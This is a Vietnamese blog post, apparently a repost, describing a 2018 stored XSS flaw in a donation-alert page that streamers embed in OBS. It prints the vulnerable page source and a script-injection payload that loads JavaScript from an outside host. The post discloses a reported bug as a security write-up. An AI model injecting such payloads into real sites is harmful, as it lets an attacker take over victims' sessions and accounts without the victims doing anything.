IDOL STREAMER VS. XSS

Mở đầu Mình nghĩ ở thời điểm này 2021, chắc hẳn đại đa số đều đã quen với thuật ngữ livestream. Livestreamer còn là những người KOLs, có sức...

Mở đầu

Mình nghĩ ở thời điểm này 2021, chắc hẳn đại đa số đều đã quen với thuật ngữ livestream. Livestreamer còn là những người KOLs, có sức ảnh hưởng lớn đến cộng đồng.
Nghề này có một đặc thù là phải có internet, internet chính là cánh cổng cho họ để giao tiếp với khán giả, với những người ủng hộ họ. Vậy liệu những lỗi bảo mật có gây ảnh hưởng gì đến họ không?

Bài này lỗi sẽ không có gì phức tạp và cao siêu cả, mình chỉ muốn kể một câu chuyện về XSS lên các streamer, vì vốn từ năm 2018 mình có hứa hẹn trên blog rằng sẽ viết về nó rồi. Thôi nay có dịp thì làm luôn.

Nếu các bạn không biết thì mình có một niềm quan tâm đặc biệt với Client-side attack nói chung, vì nó phức tạp và rất thú vị. Thú vị vì nó thay đổi từng ngày, gắn chặt với sự phát triển và nguyên lý hoạt động của trình duyệt (mình thống kê được thì 1 ngày sẽ có khoảng 400 commits khác nhau vào nhân Chromium). Các features liên tục sinh ra cũng đồng thời mang lại những rủi ro mới.

Sau này còn có các loại tấn công khác liên quan đến nguyên lý của trình duyệt như: XS-Leaks, Cache, DNS, …

Storyline

TLDR: Mình đã dùng một lỗi XSS để có thể truy cập vào tài khoản donate của các livestreamer nổi tiếng như: ViruSs, QTV, RIP113, Độ Mixi, … tại trang unghotoi.com. Điểm đặc biệt là mình đã không cần gửi đường link, email hay bất kì thứ gì trực tiếp đến họ. Vì sao ư? Đọc tiếp phần dưới nhé.

Disclaimer: Tất nhiên mình đã không dùng nó để trục lợi bất kì thứ gì vì mình cũng không quan tâm đến thu nhập của họ lắm, mấy cái này có khi chính những anh ấy đã từng chia sẻ trên stream rồi.

Đây là những lá mail mình và bạn [email protected] đã trao đổi vào ngày 16/03/2018:



XSS có bắt buộc phải click vào thứ gì không?

Okay tua một tí về bản chất của XSS, thật sự kẻ tấn công có phải gửi hay dụ dỗ nạn nhân click vào một đường link nào không?

Câu trả lời là: TÙY

Tùy vào hoàn cảnh và nơi xảy ra lỗi. Là một người chuyên gia bảo mật đôi khi bạn phải phân tích kĩ càng ở nhiều góc cạnh để đánh giá đúng rủi ro của từng lỗi. Đấy từng là công việc của mình hồi còn ở Microsoft Security Response Center (MSRC). Từng phân tích và đánh giá của mình sẽ quyết định số tiền bounty tới các bug hunters.

Còn nếu đánh giá sai? Bạn sẽ lập tức bị một anh nào đó tweet và tag thẳng @msftsecresponse vào hỏi lí do, và mình sẽ là người phải phân trần với researcher. Căng thẳng lắm mấy bạn :( Thật ra đánh giá sai mức độ nguy hiểm nó cũng ảnh hưởng đến rủi ro khác nữa chứ không phải chỉ liên quan đến tiền bounty của các hunter.

Mọi thứ bắt đầu từ sự tò mò

Vào thời điểm 2018 đó, mình thật sự khá bị dính vào những buổi livestream của các idol. Xem cực kì giải trí, và mình cũng đã vài lần bắt chước stream khi chơi game lên facebook. Cảm ơn mọi người, bạn bè tôi, lần cao nhất mà mọi người xem tôi chơi game cùng một lúc ở facebook cá nhân là những 10 người…

Xem rất nhiều nên mình rất hiểu phong trào donate, là khi có những người muốn ủng hộ những nhà sáng tạo nội dung bằng cách nạp tiền vào một bên thứ ba và “bắn” donate cho họ như một lời cảm ơn.

Hình dưới là ví dụ trong một buổi livestream của anh QTV:

Nhưng đến một ngày, mình thật sự tò mò là tại sao những người streamer có thể setup để thông báo hiện trực tiếp câu donate một cách real-time như vậy. Mình nghĩ ngay đến việc có thể là có các API (Application Programming Interface) gì đấy ở phía các trang donate.

Lân la lên trang https://unghotoi.com/ và các nguồn trên mạng để tìm hiểu cách thức setup thì mình tìm ra một đoạn video sau đây

Nói nôm na đó là, unghotoi sẽ cung cấp cho các streamer những đường dẫn hình thù tựa như sau:
https://unghotoi.com/alert-donation-skin1/{secret_token} mà trong đó {secret_token} sẽ là duy nhất và bí mật đối với mỗi tài khoản.

Ví dụ của mình sẽ trông như:
https://unghotoi.com/alert-donation-skin1/tk-foLHaVs....22011750

Fun fact: các bạn có thấy trang donate có nền xanh lè như cách các chương trình truyền hình quay không? đó là để khi chiếu lên, phông màu xanh sẽ được xóa để hình ảnh streaming không bị che :D

Việc tiếp theo là chúng ta sẽ nhúng đường dẫn trang web này vào chương trình streaming (ở trong video hướng dẫn và đa số mọi người sử dụng đó là OBS - Open Broadcaster Software).

Vâng! Chương trình streaming cho phép chúng ta làm điều đó, cũng dễ hiểu thôi, để làm cho stream vui nhộn và tương tác hơn họ phải cung cấp những features như vậy. Sự tiện ích và security luôn tỉ lệ nghịch với nhau ;)

The bug

Wait, câu hỏi lập tức nảy ra trong đầu mình là: “Vậy nếu trang web này bị XSS thì như thế nào?”

Các bạn có thể thấy ở trang donate sẽ luôn hỏi “Tên” và “Lời nhắn” cùng với số tiền muốn donate

Ngay lập tức mình view-source HTML của trang link https://unghotoi.com/alert-donation-skin1/tk-foLHaVs....22011750 khi có một thông điệp tới, thì phát hiện ra là THÔNG ĐIỆP KHI DONATE sẽ được truyền vào giữa một hàm tên responsiveVoice.speak(...) (dòng 9)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
...snip...
<audio controls autoplay class="hide">
<!-- <source src="https://unghotoi.com/data/sound/vui-ve-1/3.mp3" type="audio/mpeg" /> -->
</audio>
<script type="text/javascript">
function sayIt(){
animate(".demo", 'zoomOut');
$('#myhidden').slideUp(3000).delay(30000).fadeOut(3000);
responsiveVoice.speak('{ LỜI NHẮN KHI DONATE SẼ ĐƯỢC TRUYỀN VÀO ĐÂY }','Vietnamese Male',{pitch: 1, rate: 0.7});
}
setTimeout(sayIt, 30000);
</script>
<script src='//vws.responsivevoice.com/v/e?key=AFXxO7dn'></script>
<script language="javascript">

function animate(element_ID, animation) {
$(element_ID).addClass(animation);
var wait = window.setTimeout( function(){
$(element_ID).removeClass(animation)}, 3000
);
}
</script>
</body>
</html>

Nhìn sơ mình đoán chắc hẵn đoạn script này được dùng để đọc lời nhắn donate của những người ủng hộ lên như các bạn thường nghe thấy.

Vậy nếu ra sao mình chèn một XSS payload vào tại đây?

Không có bất kì bộ lọc hoặc bất kì cách nào để chống XSS tại chỗ này. Dẫn đến mình đã chèn thành công </script><script src='https://h4x0rs.space/a.js'></script>

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
...snip...
<audio controls autoplay class="hide">
<!-- <source src="https://unghotoi.com/data/sound/vui-ve-1/3.mp3" type="audio/mpeg" /> -->
</audio>
<script type="text/javascript">
function sayIt(){
animate(".demo", 'zoomOut');
$('#myhidden').slideUp(3000).delay(30000).fadeOut(3000);
responsiveVoice.speak('chúc idol vui vẻ quẩy lên bây ơi </script><script src='https://h4x0rs.space/a.js'></script>','Vietnamese Male',{pitch: 1, rate: 0.7});
}
setTimeout(sayIt, 30000);
</script>
<script src='//vws.responsivevoice.com/v/e?key=AFXxO7dn'></script>
<script language="javascript">

function animate(element_ID, animation) {
$(element_ID).addClass(animation);
var wait = window.setTimeout( function(){
$(element_ID).removeClass(animation)}, 3000
);
}
</script>
</body>
</html>

Ngay lập tức, BAM! trên màn hình của streamer đã hiện lên thông điệp donate và chạy script mình đã chèn vào. Từ đây như bạn biết XSS có thể bị lợi dụng để làm giả trang đăng nhập và làm một số thứ nguy hiểm hơn.

Đây là màn hình quản lý lượng donate của một kênh stream. Mình đã che hết tất cả thông tin nhạy cảm, những lời thoại donate và số tiền ở bên dưới thì đều đã hiện public lên stream của họ rồi.

Qua bug này, chúng ta có thể thấy việc khai thác XSS không nhất thiết là phải click vào một đường link dài ngoằng nhìn rất nguy hiểm, mà tùy vào hoàn cảnh của lỗi mà chúng ta có rất nhiều cách setup để đối tượng có thể bị khai thác. Với trường hợp trên, OBS chương trình streaming cho phép chúng ta lồng một website vào đã vô tình tạo nên một bàn đạp để payload XSS có thể rơi vào streamer một cách chủ động mà họ không hề phải thực hiện bất kì thao tác gì. Thuật ngữ được gọi là “no user-interaction required”.

Hoặc với những bug XSS khác, attacker cũng có thể lồng những payload đường link khai thác Reflected-XSS vào những <iframe> và nhúng nó ẩn vào bất kì đâu mà bạn dùng trình duyệt đi ngang qua chứ không nhất thiết phải gửi cho bạn một đường link dài dòng gì cả ;)

Nhưng rất may mắn, ở thời điểm hiện tại, các trình duyệt tiên tiến như Google Chrome, Firefox, … đã dần thực hiện SameSite by default nhằm hạn chế những tác động của attack vector này.

Nếu các bạn muốn biết nó là gì thì hãy comment ở trên post facebook để chúng mình biết có nên viết về nó không nhé!

Bonus

Mình cũng đã từng XSS vào kênh PewPew trên trang talktv.vn vào thời điểm 2013. Report đã được gửi cho TalkTV và trong một lần vô tình gặp Pew ở ngoài thì ảnh có lại bắt tay và hỏi “Ông là người hack kênh tôi à?” =))

Cheers / CyberJutsu - We make computer security easier to learn!

COMMENTS

Tên

.:: Connect Trojan ::.,111,.htaccess,2,0-day,3,10000+ Latest Carding Dorks 2020 and 2021,1,2017,2,Add-on,16,Affiliate,1,Anotador,1,AutoIT,17,BackDoor,1,Bán Sách,13,banhangonline,1,Bảo Mật,206,Bất Động Sản Tại Tiền Giang,5,Bestsellers,13,Binder,1,blog,31,Blogger,4,Blogger Template,1,Botnet,3,Brute,1,Bug Bounty,1,Bypass,11,camera,1,ceh,1,Châu Tinh Trì,2,Checked,6,Chrome,21,Code,5,coin hive,1,Coin-Hive,2,CoinHive,1,Connect Trojan,342,Connect Trojan ::.,1,Cổ Tích,2,Crack,3,Crypto,5,CSRF,5,CSS,2,Cuộc Sống,1,Dau tu,8,DDoS,6,Designer,1,Dich vụ,1,DNS,4,Download,2,du-an,3,DVD LUMION Tiếng Việt của anh Dũng Già Pro,1,Đam Mỹ,1,điện,1,Đồ Họa,215,Đô Thị,16,e11.me,1,ebook,19,ebook free,295,eBook Phệ Hồn Nghịch Thiên,1,eBook Thịnh Thế Địch Phi,1,Encrypt,1,Encryption,1,epub,76,epub [Tiên hiệp],1,ET-Logger,1,exploit,23,Exploitation,1,Extractor,2,facebook,69,FireFox,15,Flood,2,Forensic,7,full prc,2,game,177,Gerador,3,Gerenciador,1,Get Root,3,GHDB,3,Giả Tưởng,1,giaitri,1,Google,15,H&Y Shop,2,Hacker,3,Hacking,16,Hacking and Security,6,Hacking Tools,36,Hành Động,3,He Thong Site Phim,25,Hijacking,6,Hình Sự,1,hivecoin.hive coin,1,Hỏi Xoáy Đáp Xoay Trên VTV3,1,HTML,1,https,1,Huyền Ảo,92,Hướng dẫn Internet cơ bản,1,IFTTT,703,Imgur,2,Infographic,1,Information Disclosure,1,Internet Explorer,3,IT News,39,J2TeaM,29,J2TeaM Tools,9,JavaScript,6,Javascript Injection,3,Juno_okyo's Blog,23,Khóa Học,61,Khóa Học kiếm tiền online với accesstrade,5,khoá học miễn phí,28,Khóa học Photoshop,19,Khóa học sử dụng mã độc và phòng chống mã độc,2,Khoa Huyễn,6,khuyến mãi,16,kiemhiep,9,Kiếm Hiệp,20,Kiếm Tiền MMO,40,kiếm tiền rút gọn link,1,KilerRat,1,Kinh Dị,24,Kinh Dị - Ma,4,Kinh Doanh,73,kinhdi,1,kinhdoanh,5,KRACK Attacks,1,Lãng mạn,1,lazada,1,Lắp đặt trọn gói camera tận nhà giá rẻ tại Gò Công,1,Lập trình,2,Lịch Sử,5,Linux,1,Local Attack,2,Logins/Cadastro,1,Lỗi Web,1,Lược Sử Hacker,2,Mã Giảm Giá,2,Mã Hóa,48,Malware,3,Master-Code,31,Máy Tính,1,Metasploit,2,Microsoft,4,mobile hacking,2,monero,1,Movie,25,MySQL,1,NEW PRODUCTS,19,NGHỆ THUẬT ẨN MÌNH,13,ngontinh,10,Ngôn Tình,151,nhà đất,1,Nhà Đất Gò Công,1,Nhân Vật Lịch Sử,2,Nhật Bản,1,Nhựt Trường Group,1,NjRat,5,Nước,1,open redirect,1,Oracle,1,Path Disclosure,2,pdf,76,Pen-Test,6,Pentest Box,9,Phan mem Internet,1,phanmem,23,phanmemdienthoai,3,phanmemmaytinh,10,phần mềm,12,Phim 18,2,Phim 2012,1,Phim 3D,1,Phim Âm Nhạc,2,Phim Bộ,39,Phim Chiến Tranh,5,Phim Dã Sử - Cổ Trang,6,Phim Đài Loan,6,Phim Đề Cử,4,Phim Hài Hước,26,Phim Hàn Quốc,33,Phim HD Chất Lượng Cao,5,Phim Hoạt Hình,2,Phim Hot,1,Phim Hồng Kông,20,Phim HQ,2,Phim Kinh Dị,8,Phim lẻ,4,Phim Mới 2011,2,Phim Mới 2012,1,Phim Mới 2015,1,Phim Nhật Bản,4,Phim SD,3,Phim Thái Lan,6,Phim Thần Thoại,4,Phim Tình Cảm,35,Phim Trung Quốc,37,Phim Truyền Hình,19,Phim Viễn Tưởng,1,Phim Võ Thuật,36,Phim Xã Hội Đen,1,Phishing,5,PHP,16,Plugin,1,Port,1,post mẫu,1,prc,77,Programming,15,Python,1,Quảng Cáo,1,rat,457,Recovery,3,Remote Code Execution,1,Remote Desktop,1,Reverse Engineering,6,review,3,rút gọn link,1,sach,49,Sách,41,Sách Nghệ Thuật Sống,12,sách nói,1,Sách Tâm Linh,1,Sách Tiếng Anh,2,sachiep,2,sachnoi,1,Sản Phẩm,1,Sắc Hiệp,16,Scam,1,Scanner,10,Security,66,SEO,5,share,1,Shell,5,shop,1,Social Engineering,4,Software,22,Source Unity,1,SQL injection,21,Sức Khỏe,1,Symlink,3,Tài Chính,1,Tài chính cá nhân,2,Tài Liệu,1,Tản mạn,7,Taudio,2,Tâm lý xã hội,1,tấn công,1,Testador,1,Thái Lan,2,Tham Khảo,3,thamkhao,11,them,1,Thiệp Cưới,1,Thiết Kế Web,33,Thời Trang,2,Thủ Thuật Hacking,53,Thuyết Minh,1,tienhiep,5,Tiên Hiệp,123,Tiểu Thuyết,94,tiki,3,TIL,8,Tin Tức,54,Tips,39,tool,3,Tool Hack,14,Tools,9,Tổng Hợp,1,Tricks,26,Trinh thám,1,trojan original,48,Trọng sinh,11,Trộm mộ,1,Trung Quốc,1,Truyện,3,Trương Định,110,Tu Chân,2,TUTORIALS,124,Twitter,1,Ung_Dung,4,Upload,1,usb,1,vanhoc,11,văn học,6,vBulletin,7,video,16,Vietsub,1,Việt Nam,4,Virus,4,Võ Thuật,3,Võng Du,5,Vulnerability,19,Web Developer,15,webmau,5,WHMCS,3,WiFi,2,wiki lỗi máy tinh,1,wiki lỗi NTG,3,Windows,12,WordPress,43,Write-up,11,XSS,16,Yahoo,1,yeah1offer,1,youtube,11,
ltr
item
NhutTruong.Com - Chia sẻ kiến thức miễn phí: IDOL STREAMER VS. XSS
IDOL STREAMER VS. XSS
https://blog.cyberjutsu.io/images/streamer-vs-xss/report_1.png
https://i.ytimg.com/vi/rIficGqW78k/default.jpg
NhutTruong.Com - Chia sẻ kiến thức miễn phí
https://www.nhuttruong.com/2021/06/idol-streamer-vs-xss.html
https://www.nhuttruong.com/
https://www.nhuttruong.com/
https://www.nhuttruong.com/2021/06/idol-streamer-vs-xss.html
true
7607280272436897486
UTF-8
Loaded All Posts Not found any posts VIEW ALL Readmore Reply Cancel reply Delete By Home PAGES POSTS View All RECOMMENDED FOR YOU LABEL ARCHIVE SEARCH ALL POSTS Not found any post match with your request Back Home Sunday Monday Tuesday Wednesday Thursday Friday Saturday Sun Mon Tue Wed Thu Fri Sat January February March April May June July August September October November December Jan Feb Mar Apr May Jun Jul Aug Sep Oct Nov Dec just now 1 minute ago $$1$$ minutes ago 1 hour ago $$1$$ hours ago Yesterday $$1$$ days ago $$1$$ weeks ago more than 5 weeks ago Followers Follow THIS PREMIUM CONTENT IS LOCKED STEP 1: Share to a social network STEP 2: Click the link on your social network Copy All Code Select All Code All codes were copied to your clipboard Can not copy the codes / texts, please press [CTRL]+[C] (or CMD+C with Mac) to copy Table of Content